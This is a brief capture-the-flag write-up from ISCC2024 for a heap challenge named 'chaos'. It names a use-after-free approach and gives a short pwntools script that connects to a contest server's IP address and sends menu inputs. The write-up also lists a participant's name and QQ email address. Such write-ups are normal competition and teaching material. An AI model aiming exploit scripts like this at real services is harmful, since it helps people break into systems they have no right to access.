# ISCC2024 WriteUp

Whooops+李卓航+925798691@qq.com

### PWN chaos

### 解题思路

1. 利用UAF漏洞

2.修改chunk内容位Flag

### Exp（如有，请粘贴完整代码，不允许截图！）

from pwn import \*

from Crypto.Util.number import long\_to\_bytes, bytes\_to\_long

context.log\_level = 'debug'

context(arch='amd64', os='linux')

context.terminal = ['tmux', 'splitw', '-h']

pwn = './1'

p = remote('182.92.237.102', 10004)

p.sendlineafter("Please Choice:", "5")

p.sendlineafter("Please Input Chunk size :", "104")

p.sendlineafter("Please Input Content :", "Flag")